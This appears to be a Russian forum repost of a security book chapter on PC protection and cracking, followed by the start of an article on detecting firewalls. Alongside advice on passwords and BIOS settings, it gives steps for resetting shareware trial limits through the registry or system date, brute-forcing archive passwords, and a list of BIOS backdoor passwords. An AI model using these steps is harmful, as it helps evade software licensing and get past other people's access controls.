предоставляет возможность организовать «входной контроль», т.е. запрашивает пароль при попытке войти в Windows. Бесспорно, она эффективнее, чем ее аналог в Windows 95/98. Для тогочтобы программа проводила входную регистрацию, необходимо раскрыть подменю Settings \ Preferences \ Windows Startup Protection и выбрать пункт YES: Use ScreenLock Protection on Computer Startup.</p> <p><strong>Архивация данных и взлом архивов</strong> </p> <p>При эксплуатации компьютера по самым разным причинам возможны порча или потеря информации на магнитных дисках. Для того чтобы уменьшить потери, следует иметь архивные копии используемых файлов и систематически обновлять копии изменяемых файлов.<br />Различными разработчиками были созданы специальные программы для упаковки файлов. Как правило, эти программы позволяют помещать копии файлов на диске в сжатом виде в архивный файл, извлекать файлы из архива, просматривать оглавление архива и т.д.<br />Архивный файл представляет собой набор из одного или нескольких файлов, помещенных в сжатом виде в единый файл, из которого их можно при необходимости извлечь в первоначальном виде. Архивный файл содержит оглавление, позволяющее узнать, какие файлы содержатся в архиве. В оглавлении архива для каждого содержащегося в нем файла хранится следующая информация:<br />¦ имя файла;<br />¦ сведения о каталоге, в котором содержится файл;<br />¦ дата и время последней модификации файла;<br />¦ размер файла на диске и в архиве;<br />¦ код циклического контроля для каждого файла, используемый для проверки целостности архива.<br />Наиболее популярные архиваторы - WinZip и WinRAR - позволяют задавать пароль на открытие архива. Однако существуют программы, с помощью которых можно «взламывать» архивные файлы. Программы для взлома архива можно условно разбить на две группы:<br />¦ специализированные - программы, которые взламывают пароли только одного архиватора (например Azpr, специализирующаяся на взломе паролей WinZip);<br />¦ универсальные - программы, которые могут работать с двумя и более видами архиваторов (например Archpr, работающая со всеми известными видами архивов под Windows).<br />Очевидно, что универсальные взломщики архивов предпочтительнее специализированных, ведь намного проще иметь одну программу для всех видов архивов вместо множества программ, количество которых равно числу архиваторов.</p> <p><strong>Экранная заставка Windows </strong></p> <p>Для того чтобы защитится от взлома, нужно знать, каким образом будет действовать взломщик, попытаться понять логику его поступков и, опираясь на полученные знания, грамотно организовать оборону. Итак, основной функцией программы-заставки является так называемое «запирание» монитора, т.е. блокировка доступа к компьютеру.<br />В операционной системе Linux опция «запирания» экрана предусмотрена по умолчанию. То есть перед тем как пользователь отойдет от компьютера, он может активировать заставку, предполагающую отображение диалогового окна с просьбой ввести пароль пользователя для продолжения работы (если посторонний попытается убрать заставку движением мыши или нажатием любой клавиши).<br />В Windows эта функция активируется установкой определенной опции. Для активизации заставки с паролем необходимо открыть Панель управления (с помощью команды Пуск \ Настройка \ Панель управления), в которой двойным щелчком выбрать пункт Экран. В результате отобразится диалоговое окно свойств экрана. Другой способ активизации этого окна - щелчком правой кнопки мыши по свободной поверхности Рабочего стола вызвать контекстное меню и выбрать пункт Свойства. На закладке Заставка следует выбрать желаемую заставку, указать пароль с помощью кнопки Изменить и установить флажок Пароль. Далее после нажатия кнопки Изменить в отобразившемся окне нужно ввести пароль.<br />Для разблокировки компьютера, который защищается с помощью заставки с паролем, необходимо перезапустить компьютер. После этого заставка пропадает, а для обхождения входного пароля в Windows 95/98 достаточно нажать кнопку Отмена. Поэтому для защиты в Windows 95/98 придется использовать специальные программы.<br />С другой стороны, в системах Windows NT/2000/XP вместе с программой-заставкой следует использовать входной пароль, чтобы даже после перезагрузки злоумышленник не смог получить доступ к нужной ему информации.<br />Перезагрузка - не единственный метод борьбы с заставкой. К сожалению, он не лишен недостатков. Один из них заключается в том, что программа запускается только через определенный интервал времени, когда с компьютером не совершают никаких действий. Этого интервала вполне может хватить взломщику, чтобы получить доступ к компьютеру, пока заставка не сработала. Решается эта проблема достаточно просто. В уже знакомой закладке Заставка нажимаем кнопку Просмотр, после чего заставка функционирует в нормальном режиме.<br />Следующий недостаток более существенный. Дело в том, что программа-заставка не отключает Autorun (Автозапуск). То есть недоброжелатель может вставить в CD-ROM диск с вредоносной программой, которая запустится посредством Autorun. Для решения данной проблемы необходимо отключить автозапуск.<br />С этой целью в Панели управления необходимо двойным щелчком раскрыть раздел Система, где на закладке Устройства в свойствах параметра Устройство чтения компакт-диска следует убрать флажок Автоматическое распознавание диска .</p> <p><strong>Изменение логотипа при загрузке Windows 98 </strong>&#160; &#160; &#160; &#160; &#160; Кажись нет такого уже у многих:-D</p> <p>С точки зрения социальной инженерии любое изменение системы, пусть даже не приводящее ее к нестабильной работе, воспринимается неквалифицированным пользователем как катастрофа. Особенно это заметно, если изменения «бросаются в глаза», например изменение картинок, появляющихся при загрузке компьютера, а также при его выключении.<br />Для замены картинки, которая отображается при загрузке системы, необходимо создать в любом графическом редакторе (например в Paint) точечный унок размером 320x400 и с цветовой схемой в 256 цветов, а затем сохранить его в корневом каталоге диска под именем logo.sys. Кроме этого, необходимо для этого файла установить атрибут Скрытый (Hidden).<br />Для изменения заставки Windows 98, которая отображается при завершении работы системы, необходимо выполнить следующие действия:<br />¦ найти в каталоге C:\Windows файл logow.sys;<br />¦ вызвать контекстное меню файла;<br />¦ выбрать команду Открыть с помощью…;<br />¦ в появившемся диалоговом окне выбора программы указал MSPaint;<br />¦ отредактировать и сохранить файл.<br />Изменение логотипа при загрузке Windows<br />Также в каталоге Windows находится файл logos.sys. который отображается системой при выключении компьютера и содержит фразу Теперь питание</p> <p><strong>Использование программы Regmon </strong></p> <p>В основном окне приложения Regmon отображаются все процессы, связанные с обращением к реестру программы winword.exe (Microsoft Word).<br />Каждое обращение имеет несколько характеристик, описание которых приведено ниже:<br />¦ # - порядковый номер обращения;<br />¦ Time - время обращения;<br />¦ Process - процесс, обратившийся к реестру;<br />¦ Request - тип запроса;<br />¦ Path - путь к программе, обратившейся к реестру;<br />¦ Result - результат запроса;<br />¦ Other - другие параметры процесса.<br />Основное окно программы Regmon<br />Рассмотрим работу Regmon на примере программы Муго. Пользователь должен действовать следующим образом. Вначале необходимо найти строку со следующими параметрами:<br />Process равен Myrodeskt; Request равен QueryValueEx.<br />Дело в том, что QueryValueEx отвечает за извлечение текущего значения; где-то рядом с этой строкой должна находиться строка со следующими параметрами:<br />Process равен Myrodeskt; Request равен SetValueEx.<br />Параметр SetValueEx отвечает за присвоение нового значения параметру реестра. Также в обоих случаях необходимо обратить внимание на столбец Other, в котором отображается текущее значение процесса.<br />В данном случае для первой строки этот параметр равен 20, а для второй - 19 .<br />Место расположения счетчика запусков программы<br />Несложно догадаться, что это и есть счетчик, работающий на уменьшение. Причем когда значение параметра достигнет 0, программа перестанет запускаться. Чтобы продлить срок службы, необходимо увеличить для параметра SetValueEx значение Other, например, до 2000.<br />Программа Regmon не позволяет непосредственно редактировать значения ключей реестра, однако можно активизировать программу Regedit, предварительно выбрав ключ, значение которого требуется изменить. Вызов Regedit осуществляется в окне Regmon двойным щелчком на строке ключа либо (после выбора строки ключа) командой Edit | Regedit Jump. В результате выводится окно программы Regedit и автоматически раскрывается ветвь реестра для выбранного ключа. Теперь щелчок правой кнопкой мыши на строке ключа вызывает контекстное меню, в котором имеется пункт Изменить.</p> <p><strong>Использование программы Eilemon</strong></p> <p>Хранение данных в реестре является очень удобным, но не единственным способом хранения информации. Также программа может хранить данные в отдельном файле, который она создает после установки. Последнее время этот способ встречается крайне редко, но все же не стоит забывать о нем. Способ обхода подобной защиты отличается от вышеописанного только программой, которую следует использовать. В данном случае это Filemon.<br />Изменение параметров реестра в программе RTKF Данная программа предназначена для поиска и удаления ключей, которые остаются в реестре после деинсталляции некоторых программ. Например, в случае использования пробных версий программных продуктов в реестре создаются ключи,которые «считают» количество запусков программы или хранят дату инсталляции программы. Если удалить эти ключи, то можно восстановить работоспособность пробных версий программы.<br />Для использования программы необходимо загрузить и распаковать файл trashreg.zip, в котором находится программа (файл TrashReg.exe).<br />После запуска программа сканирует реестр и отображает все ключи, которые являются ошибочными.<br />Далее следует выделить ключ и, используя контекстное меню, выполнить одну из нижеперечисленных команд.<br />Команды контекстного меню:<br />¦ Show contents of this key - позволяет отобразить окно, показывающее содержимое раздела (ключа). Исходя из этих данных, пользователь может решить, что делать с ключом;<br />¦ Jump to RegEdit - открыть Regedit и перейти к выделенному ключу;<br />¦ Search again - повторить поиск;<br />¦ Copy names of selected keys - скопировать имена выделенных ключей в буфер обмена;<br />¦ Create Reg-fdes for selected keys - создать REG-файлы дня выделенных ключей;<br />¦ Delete selected keys from registry - удалить выделенные ключи из реестра;<br />¦ Program Options - позволяет вызвать окно настроек программы;<br />¦ About - о программе. Выводит дополнительное окно, в котором содержится информация о программе: номер версии, контактная информация;<br />¦ Exit - выход из программы.<br />Итак, программой RTKF в реестре обнаруживаются ключи, оставленные trial-версиями программ. Если такие ключи были найдены, их следует удалить (выделить щелчком мыши и выполнить команду Delete selected keys from registry). Теперь, когда trial-программа будет запущена, то она не обнаружит своих записей в реестре. Для нее это будет означать, что на данном компьютере эта программа была запущена первый раз, и в результате пользователь получит возможность работать с данной программой еще несколько дней/месяцев (или несколько запусков).<br />Хотя программа имеет довольно узкую направленность, она является одной из лучших в своем роде.</p> <p><strong>Методы взлома программ </strong></p> <p>Достаточно часто пользователь сталкивается с тем, что утилиты, входящие в стандартный пакет Windows, не удовлетворяют его запросам, а бесплатные программы не всегда оказываются способны справиться с поставленной задачей. В таких случаях пользователь обычно начинает поиск так называемых share-программ, для использования которых необходимо перечислить некую сумму разработчикам. Такие программы имеют определенный срок действия, который ограничивается, как правило, либо количеством запусков, либо количеством дней, по истечении которых программа перестает работать вплоть до ввода регистрационных данных.<br />Обычно небольшие компании или отдельно взятые разработчики не используют каких-либо мощных средств защиты собственных программ по целому ряду причин. Во-первых, разработка хорошей защиты требует немало времени, потеря которого может привести к тому, что свободную нишу на рынке программного обеспечения займет какой-то другой разработчик со своим продуктом. Во-вторых, какой бы мощной ни была защита, все равно «крекеры» (т.е. взломщики программного обеспечения) найдут способ ее обойти. Поэтому в большинстве случаев защита может остановить только неопытных пользователей.<br />Ниже приведено описание различных способов обхода защиты программ: поиск «крека» (crack), изменение системной даты и редактирование реестра.<br />Поиск «крека»<br />Самый простой способ поискать так называемый «крек» (т.е. программу для обхода защиты) в сети Internet. Существует множество различных сайтов, посвященных этой тематике ( гл. 5.6 «Сайты по безопасности»). Но, к сожалению, не всегда удается найти тот или иной «крек» ввиду большого количества программ. Поэтому пользователю необходимо владеть элементарными навыками продления срока службы программы, приведенными ниже.<br />Изменение системной даты<br />Один из способов ограничения срока службы программы - это установка разработчиком количества дней, на протяжении которых будет работать программа.<br />В большинстве случаев перед установкой достаточно перевести системную дату вперед, например на пять лет (с 2003 на 2008). Затем после установки вернуть ее в исходное значение, после чего программа будет работать пять лет и определенное количество дней.<br />Для изменения системной даты необходимо дважды щелкнуть левой кнопкой мыши на индикаторе времени в системном лотке, в результате чего появится диалоговое окно свойств даты и времени. Все, что требуется, - это изменить счетчик лет в сторону увеличения 1.12).<br />Изменение параметров реестра в программе Regedit Ситуация несколько осложняется в том случае, если использо-, вание программы ограничивается количеством запусков. В этом случае для того, чтобы продлить срок службы программы, придется провести несколько несложных действий в реестре.<br />Для начала следует попробовать следующий способ. Вначале необходимо запустить Regedit, затем в окне Редактора реестра выделить щелчкоммыши раздел HKEY_CURRENT_USER\Software\ имя_программы и выполнить команду FUe | Export. Далее в появившемся окне необходимо указать имя REG-файла, который будет создан.<br />В результате на диск будут скопированы данные о программе, которые записываются в реестр в процессе ее инсталляции. Впоследствии, когда лимит запусков программы будет исчерпан, следует перезаписать сохраненные данные из файла в указанный выше раздел реестра, воспользовавшись командой File \ Import.<br />Однако описанный способ может по каким-либо причинам не привести к нужному результату. В этом случае следует воспользоваться одной из специальных программ редактирования системного реестра Windows.<br />Примерами таких программ могут служить Regmon или Registry Trash Keys Finder (RTKF).</p> <p><strong>Пароль BIOS </strong></p> <p>Если защита с помощью программ-заставок кажется малоэффективной ввиду условий, в которых приходится работать, имеет смысл использовать более серьезные средства безопасности. Рассмотрим защиту компьютера с помощью BIOS и методы физической блокировки доступа.</p> <p><strong>Защита с помощью BIOS</strong></p> <p>На каждом ПК имеется встроенная в него система BIOS (Basic Input Output System - базовая система ввода-вывода), представляющая собой несколько низкоуровневых процедур, тестирующих компьютер после включения его питания и запускающих операционную систему. Большинство BIOS поддерживают возможность задания так называемого пароля включения. Если пароль задан, то компьютер выполнит любую операцию только после правильного указания пароля.<br />Для того чтобы задать пароль BIOS, необходимо при загрузке компьютера, когда в правом нижнем углу появится надпись Press DEL to enter Setup, нажать клавишу Delete (или другую указанную), после чего следовать подсказкам, появляющимся при выделении какого-либо пункта меню. Здесь не будут даваться рекомендации по настройкам BIOS, т.к. их выпуском занимаются много производителей: IBM, AWARD, AMI и т.д.<br />Рассмотрим механизм задания пароля BIOS для AWARD BIOS и AMI BIOS. При этом необходимо иметь в виду, что при работе с BIOS необходимо соблюдать предельную осторожность, так как неправильная настройка может негативно сказаться на функционировании компьютера или даже привести к выходу из строя некоторых его узлов.<br />Существует два типа паролей, которые можно задавать в BIOS, -пароль на загрузку компьютера и на загрузку меню Setup BIOS.<br />Задание пароля A WARD BIOS<br />Для начала рассмотрим, как задается пароль в BIOS производства Award. При загрузке компьютера необходимо нажать клавишу Delete, после чего можно выбрать один из двух вариантов задания пароля:<br />¦ Set User Password (Установить пароль пользователя). Он может задаваться либо на вход в меню Setup BIOS, либо на вход в Setup и загрузку компьютера. Для того чтобы выбрать любой из вышеперечисленных методов блокировки, необходимо в меню Advanced BIOS Features выбрать строку Password Check. Затем, после нажатия клавиши Enter в появившемся окне следует выделить либо Setup (т.е. пароль только на Setup BIOS), либо System (т.е. пароль на загрузку системы и Setup BIOS);<br />¦ Set Supervisor Password (Установить пароль суперпвизора). Имеет приоритет перед паролем пользователя. Все остальные функции и настройки такие же, как у User Password.<br />Задание пароля AMI BIOS<br />Вызов окна настроек AMI BIOS осуществляется нажатием клавиши F2 в процессе тестирования оборудования после включения компьютера. Здесь для задания пароля необходимо выбрать<br />вкладку Security, в которой доступны Set Supervisor Password и Set User Password. Характерной особенностью AMI BIOS является то, что пользователь, знающий Supervisor Password, может ограничивать возможности пользователя, знающего только User Password. Для того чтобы задатьпароль, необходимо подсветить желаемый тип пароля. После нажатия клавиши Enter отобразится окно с двумя полями: в первом поле необходимо ввести пароль, а во втором - продублировать его.<br /><span style="font-style: italic">Способы обхода пароля BIOS</span><br />Невзирая на то что BIOS является мощным средством защиты, существуют различные способы обхода установленного пароля.<br />Пользователь может попасть в весьма затруднительную ситуацию, если забудет установленный пароль на загрузку системы. Это может привести к необходимости покупки новой материнской платы. В подобных случаях можно воспользоваться «черным ходом» BIOS, который также применяется хакерами. Принцип его действия построен на следующем. Установленный пароль хранится в памяти CMOS (Complimentary Metal-Oxide-Semiconductor - комплиментарный металло-оксидный полупроводник), которая, в свою очередь, должна постоянно поддерживаться батарейкой, установленной на материнской плате. <br />Отсюда следует, что если батарейку извлечь на некоторое время, можно добиться очистки BIOS, т.е. потери установленных параметров и паролей.<br />Но дело в том, что извлечь батарейку не всегда возможно без использования вспомогательного инструмента, поэтому имеет смысл прибегнуть к способу, описанному в некоторых инструкциях к материнской плате.<br />На большинстве материнских плат установлены выводы для очистки памяти CMOS. Как правило, эти выводы находятся рядом с батарейкой. Если пользователь в силу различных причин не может их найти, следует обратиться к инструкции на материнскую плату, которая должна входить в комплект документов, получаемых пользователем при покупке компьютера. Инструкцию к материнской плате также можно скачать из Internet, с сайта фирмы-производителя.<br />Перед началом манипуляций по очистке памяти CMOS следует отключить питание компьютера, т.е. все действия при очистке памяти CMOS нужно производить, только когда компьютер выключен. В противном случае это повлечет выход материнской платы из строя.<br />После того как питание отключено, с помощью документации на материнскую плату находим выводы для очистки памяти CMOS и замыкаем их. Далее включаем компьютер, заново выставляем настройки BIOS, запоминаем их и осуществляем перезагрузку.<br />В случае, когда документация отсутствует, на выключенном компьютере следует попробовать поочередно замкнуть все выводы на плате, проверив затем, был ли снят пароль.<br />Если все вышеперечисленные манипуляции не привели к нужному результату, следует попытаться применить так называемый инженерный пароль. Но при этом необходимо помнить о том, что он работает только на достаточно старых версиях BIOS, а также о<br />Часть I. Атака и защита ПК<br />том, что он может варьироваться от версии к версии. В таблице приведены пароли для BIOS производства фирм AWARD и AMI.</p> <p>Таблица </p> <p>Инженерные пароли для BIOS AWARD и AMI</p> <p><span style="font-style: italic">AWARD</span></p> <p>_award Condo</p> <p>01322222 d8on</p> <p>589589 HLT</p> <p>589721 J262</p> <p>595595 J332</p> <p>ALFAROME J64</p> <p>Ally Lkwpeter</p> <p>ALLY LKWPETER</p> <p>aLLy Pint</p> <p>aPAf PINT</p> <p>AWARD PW SER</p> <p>AWARD SW SKY_FOX</p> <p>AWARD_SW SYXZ</p> <p>Awkward BIOSTAR TTPTHA</p> <p>CONCAT ZJAAADC</p> <p><span style="font-style: italic">AMI<br /></span><br />A.M.I. CONDO</p> <p>AAAMMMIII HEWITT RAND</p> <p>AMI LKWPETER</p> <p>AMI7SW PASSWORD</p> <p>AMLSW SER</p> <p>BIOS ----</p> <p><strong>Программа User Profiles </strong></p> <p>Зачастую встает вопрос, как оградить пользователя (например ребенка), от чрезмерно долгого использования компьютера, либо от запуска отдельных установленных программ, или даже от просмотра некоторых компакт-дисков.<br />С подобными задачами может справиться такая программа, как User Profiles (Профили пользователей), которая обладает обширным набором функций и распространяется бесплатно.<br />Она достаточно проста и состоит из одного единственного окна, в котором необходимо указать все необходимые настройки 2.23).<br />Программа поддерживает как английский, так и русский интерфейс, а удобный пользователю язык выбирается в левом нижнем углу окна, в поле Language (Язык).<br />Данная программа отображается в системном лотке в виде значка щелчок на котором приводит к разворачиванию ее окна. Программа не имеет строки меню, и все ее настройки представлены в данном окне.<br />В списке Пользователи отображается список, пользователей, зарегистрированных в системе; для каждого из них можно определить права доступа к ресурсам компьютера.<br />Для того чтобы никто из пользователей не смог открыть программу и изменить предоставленные ему права, используется раздел Настройки, в котором отмечается флажок Автозагрузка (при этом программа будет автоматически активизироваться при запуске системы) и указывается пароль доступа к программе.<br />Раздел Настройки<br />Далее в области Настройки пользователя определяются еле* дующие разрешения доступа для каждого отдельного пользователя: Использование компьютера. Запуск программ, Использование Интернета, Использование компакт-дисков.<br />Использование компьютера<br />Для ограничения доступа к компьютеру следует обратиться разделу Использование компьютера. Здесь, если для заданного пользователя не нужно устанавливать ограничения, выбирается переключатель Разрешить всегда, иначе — Разрешить по расписанию. В последнем случае становится доступной кнопка Расписание; при ее активизации открывается область Расписание использования, в которой можно выбрать наиболее удобный вид ограничения работы на персональном компьютере.<br />Установки Расписание использования<br />Программа предусматривает выбор таких видов ограничений: ¦ По часам суток в неделю — при этом в расписании, расположенном справа, указываются дни недели и часы, во время которых запрещается использование компьютера (красный цвет); в остальные часы его использование разрешено (белый цвет);<br />¦ По количеству времени в сутки — количество минут, за которые можно выполнять работу на компьютере в течение суток;<br />¦ По количеству времени в неделю — количество минут, за которые можно выполнять работу на компьютере в течение недели;<br />¦ По количеству времени в месяц — количество минут, за которое можно выполнять работу на компьютере в течение месяца.<br />При израсходовании установленного пользователю лимита] компьютер будет отключен через то количество секунд,которое будет указано ниже, в опции Дать время.<br />Вид выключения выбирается в основном окне и предусматривает такие пункты:<br />¦ Завершить сеанс пользователя;<br />¦ Перезапустить компьютер;<br />¦ Выключить компьютер.<br />Использование Интернета<br />Сходным образом настраивается и доступ пользователя к ресурсам Интернет. Область настройки располагается в правой части основного окна программы 2.27) и включает опции, аналогичные рас смотренным выше для области Использование компьютера.<br />Раздел Использование Интернета<br />Запуск программ<br />В нижней части окна Профили пользователей предусмотрен настройка разрешений на запуск программ. Облает Запуск программ может работать в двух режимах: Разрешить всегда и Разрешить по расписанию. Первый из них указывает на , что пользователь может выполнять запуск любых программ по своему усмотрению, а второй служит для составления списка разрешенных к использованию программ.<br />Так, чтобы добавить файл запуска программы в поле Список программ, необходимо воспользоваться кнопкой Добавить, в результате чего появится стандартное окно Windows Открыть, при помощи которого и осуществляется добавление файла. Для удаления файла из списка служит кнопка Убрать.<br />После этого можно воспользоваться кнопкой Расписание и составить расписание на время использования каждой конкретной программы.<br />Раздел Запуск программ Использование компакт-дисков<br />Аналогично заданию разрешенных к использованию программ настраиваются разрешения на использование компакт-дисков.<br />Список компакт-дисков формируется при помощи кнопки Добавить, которая добавляет в список наименование того диска, который находится в данный момент в приводе компакт-дисковода, название диска при этом отображается в поле под кнопкой.<br />Расписание его использования устанавливается так же, как и для других ресурсов.<br />Настройка сообщений<br />В программе также предусмотрено редактирование сообщен» о запрещении либо ограничении доступа к тем либо иным ресурсам компьютера.<br />Данная область вызывается при помощи кнопки Изменить в области Настройка сообщений основного окна программы и позволяет настроить текст сообщений для использования каждого из видов ресурсов (компьютера, Интернета, компакт-диска или программы).</p> <p><strong>Утилита debug </strong></p> <p>На практике часто бывает, что пользователь, устанавливая пароль на BIOS Setup, делает его слишком сложным и впоследствии забывает. При этом вытащить батарейку он по какой-то причине не может, например ввиду высокой вероятности повредить гарантийные пломбы. В этом случае можно воспользоваться стандартной утилитой Windows debug.exe, которую необходимо запускать из консольного режима.<br />Для запуска программы debug.exe необходимо в меню Пуск выбрать пункт Выполнить, после чего в появившемся окне ввести имя программы debug.exe<br />Затем в появившемся консольном окне необходимо ввести следующую последовательность команд, выполняя перевод строки клавишей Enter:<br />В результате пароль на Setup будет снят. Необходимо отметить, что с выполнением этой команды снимаются некоторые настройки Windows, поэтому после перезагрузки для дальнейшей корректной работы системы может потребоваться инсталляционный диск Windows.</p> <p><strong>Взломщик архивов Archpr </strong></p> <p>Программа Archpr (Advanced Archive Password Recovery) относится к группе универсальных взломщиков паролей. Приятный интерфейс, интуитивно понятное меню со всплывающими подсказками, простота в использовании делают Archpr одной из лучших программ в своем классе.<br />Рассмотрим пример использования этой программы. Допустим, что необходимо взломать некий архивный файл test, причем не имеет значения, каким архиватором пользовались для создания файла - механизм действия во всех случаях один и тот же. Вначале необходимо нажать кнопку Load file into the project и выбрать взламываемый файл test. После этого на закладке Length можно выбрать предполагаемую длину пароля (от 1 до 5 символов), на закладке Range - символы, которые будут использоваться при проверке пароля; на этой же закладке в полях Start from и End at задаются символы, с которых будет начинаться или, соответственно, которыми будет заканчиваться перебор. Для того чтобы облегчить задачу, предположим, что пароль состоит толькоиз цифр - опция All digits, и нажмем кнопку Start.'. При этом начнется процесс подбора паролей, по окончании которого появится окно с отчетом.<br />Здесь в поле Total passwords отображается число перебранных вариантов, в поле Total time - затраченное время на подбор, в поле Average speed - средняя скорость подбора (в паролях за секунду) и, наконец, в поле Password for this fde - пароль к файлу. В данном случае это «111». Можно сохранить полученный результат, нажав кнопку Save.<br />Теперь остановимся на том, как можно предотвратить взлом архива.<br />Защита от взлома архива. Защититься от взлома архива, так же как и компьютера, полностью невозможно. Но существуют приемы, которые способны затруднить взлом. Прежде всего отмерим, что бесплатные версии взломщиков паролей (и Archpr в том числе) способны подбирать пароль, состоящий не более чем из пяти символов. То есть если пароль будет состоять хотя бы из шести символов, бесплатный взломщик с ним не справится.<br />Но существуют платные версии взломщиков, которые способны работать практически с любым количеством символов в пароле. В таких случаях остается лишь максимально усложнить ему работу. Для этого следует использовать как можно больше символов, а пароль должен выглядеть приблизительно так:</p> <p>«0!G@v&amp;*%235+4456?dfgG!».</p> <p>Конечно, чем сложнее пароль, тем труднее его взламывать. Однако подобный пароль с трудом поддается запоминанию, что вызывает дополнительные трудности.</p> <p><strong>Защита Windows </strong></p> <p>Чтобы получить более четкую картину, рассмотрим процесс взлома от начала и до конца. Опираясь на полученные результаты* сформулируем правила, которых нужно придерживаться для того, чтобы не стать жертвой хакера.<br />Во избежание попадания в систему злоумышленника для каждого пользователя создается учетная запись с так называемым идентификатором защиты SID (System Identifier — идентификатор системы), в котором оговариваются пароль, статус и права данного пользователя. Все учетные записи в зашифрованном виде хранятся в базе данных SAM (Security Accounts Manager — менеджер профилей безопасности). Таким образом, контроль за деятельностью пользователя (т.е. что он может делать на этом компьютере, а чего не может) осуществляет идентификатор защиты SID. Все пароли же хранятся в базе данных SAM.<br />Прежде чем перейти к рассмотрению дальнейшего материала, необходимо отметить, что все операции выполнялись на Windows ХР ввиду ее растущей популярности среди пользователей домашних ПК. Для Windows 2000 все принципы остаются прежними, лишь сам процесс выглядит несколько иначе.<br />Итак, рассмотрим процедуру создания учетной записи.<br />Создание учетной записи<br />Для того чтобы создать новую учетную запись, необходимо в меню кнопки Пуск выбрать подменю Панель управления. Далее двойным щелчком мыши на ярлыке Учетные записи пользователей вызываем Мастер создания новой учетной записи.<br />Диалоговое окно мастера создания учетной записи пользователей<br />Нажатием кнопки Далее переходим на следующий этап. Здесь предлагается задать права новому профилю:<br />¦ Администратор компьютера — новый пользователь получит права на внесение изменений в учетные записи всех существующих пользователей и на создание новой учетной записи, на установку и удаление программ; возможность вносить любые изменения в файловую систему компьютера;<br />¦ Ограниченная запись — новый пользователь получит права на просмотр файлов в папке Общие документы, изменение собственного пароля, а также изменение параметров Рабочего стола.<br />Кроме этого, существует отключенная по умолчанию запись Гость, которая представляет собой серьезную угрозу для безопасности данных на компьютере из-за неконтролируемого потока людей, имеющих к ней доступ.<br />Далее необходимо задать пароль созданной учетной записи. Для этого вызываем уже знакомое окно Учетные записи пользователей, выбираем нужный профиль и в открывшемся меню нажимаем Создание пароля. В появившемся Мастере задания пароля имеется 3 поля для ввода информации.<br />Выбор типа учетной записи<br />С учетной записью администратора вы можете:<br />• Создавать, изменять и удалять учетные записи<br />• Вносить изменения, затрагивающие других пользователей<br />• Устанавливать программы и получать доступ к любым файлам<br />Установка прав для новой учетной<br />Учетные записи пользователей записи<br />Обучение<br />Создание безопасного пароля<br />Создание хорошей подсказки о пароле и Запоминание пароля<br />Создание пароля для учетной записи &quot;Sobolev&quot;<br />Вводите новый пароль:<br />Введите пароль для подтверждения:<br />Введите слово или фразу, служащую подсказкой о пароле:_</p> mybb@mybb.ru (admin) Tue, 28 Oct 2008 22:25:34 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=36#p36 http://dinamit.mybb.forum/viewtopic.php?pid=35#p35 <p><strong>[ 1. Вступление ] </strong></p> <p>Многие статьи, описывающие принципы обхождения брандмауэров не описывают главного! <br />Того как можно их обнаружить... В данной статье я постараюсь восполнить <br />этот пробел и рассказать вам сразу о двух принципах : принципе обнаружения и <br />обхождения фаерволла... <br />Итак поехали... </p> <p><strong>[ 2. Принцип обнаружения ] </strong></p> <p>Как и следует ожидать, каждый фаерволл имеет свое имя, значит имеет некое &quot;клеймо&quot; в <br />сети, т.е. некоторые фаерволлы открывают спец. порт, по которому вы можете узнать <br />версию, название и другую интересную информацию. При обнаружении фаерволла нужно быть <br />очень внимательным и не упускать ничего мимо своих глаз. По сути обнаружение фаерволла <br />делится на несколько этапов...Это и банальное сканирование, это отслеживание маршрутов, <br />считывание сервисных банеров и т.д.Про каждый пункт обнаружения я постараюсь рассказать <br />подробнее. Так же хочу сказать, что существует некоторое количество спец. утилит, которые <br />очень хорошо помогают при обнаружении фаерволлов... Про них я тоже постараюсь подробнее <br />рассказать. </p> <p>Итак, пришло время подробнее узнать о принципах обнаружения. </p> <p>A. Банальное сканирование </p> <p>Надеюсь многие из вас сканировали в сети порты какого-либо IP-адреса...У каждого сервиса <br />есть свой уникальный порт, будь то ftp (21), http (80), ssh (22) и т.д., не обошло внима <br />нием и фаерволлов, но не всех... Сразу скажу, что не все фаерволлы слушают порт. Некото <br />рые маскируются под демоны вроде порта 23 (на них обычно висит Cisco Router или ему по <br />добные). Приведу некоторый список портов, на которых иногда висят фаерволлы или их мене <br />джеры по умолчанию : </p> <p>приложение: порт: </p> <p>cisco-manager (mgmt) 4001 (6001, 2001) <br />checkpoint DNS (53udp/tcp) RIP (520udp) <br />cisco-xremotesrv 9001 <br />wingate 8080, 81 <br />realsecure 2998/2997/2999 </p> <p>Это, возможно, самые распространенные фаерволлы на сегодняшний день. <br />Итак, при подключении на выше описанные порты, возможно, считать сервисный банер фаерволла. <br />Но опять же повторюсь, что не всегда! Скажу еще, что грамотно сконфигурированный фаерволл <br />не даст вам сканировать порты в &quot;массах&quot;, т.е. вы не сможете просканировать адрес, при ска <br />нировании более одного порта... Тогда действительно задача атакующего усложняется и прихо <br />дится выдумывать некие способы сканирования ( будь то сканирование с подменной source адреса ). <br />Так же хочу сказать, что некоторые фаерволлы конфигурируются так, что во внутреннюю сеть <br />доступ запрещен всем, кроме их же внутренней сети т.е. вы не сможете присоединиться к портам, <br />которые фильтруются фаерволлом, если вы не принадлежите к внутренней сети хостинга или <br />локальной сети... Способов обхода таких защит не так уж много. Скажу лишь то, что один из <br />способов сканирования &quot;за фаерволлом&quot; придумал небезызвестный всем бывший редактор журнала <br />Phrack - Route. Его утилита Firewalk способна сканировать порты как бы за фаерволлом. Но <br />при этом так же не нужно полагаться на все 100%, что она правильно просканирует порты т.к. <br />многие фаерволлы конфигурируются так, что фаерволл может определить TLL пакета до его при <br />бытия (проверки по списку). Поэтому пакеты типа ICMP оповещающие о истечении TLL будут отсы <br />латься в любом случае... </p> <p>Теперь перейдем к пункту об отслеживании маршрута прохождения пакета по сети... </p> <p>B. Tracerouting </p> <p>Многие надеюсь, сталкивались с программой типа tracert или traceroute, так вот скажу, то что <br />эти программы способны отследить маршрут прохождения пакета по сети... </p> <p>В WIN32 системах, утилита tracert.exe, а в Unix Like системах - traceroute. </p> <p>Давайте рассмотрим пример прохождения пакета, чтобы идентифицировать фаерволл на пути прохо <br />ждения нашего udp/icmp пакета : </p> <p>Трассировка маршрута к 168.75.176.102 </p> <p>с максимальным числом прыжков 30: </p> <p>1 * 4366 ms * Loopback0.GW8.ALA2.nursat.net [195.82.29.53] <br />2 3373 ms * 4287 ms Ethernet0-0-2.GW1.ALA2.nursat.net [195.82.28.7] <br />3 * 4463 ms * Serial6-1.GW2.MOW1.nursat.net [195.82.28.198] <br />4 * * * Превышен интервал ожидания для запроса. <br 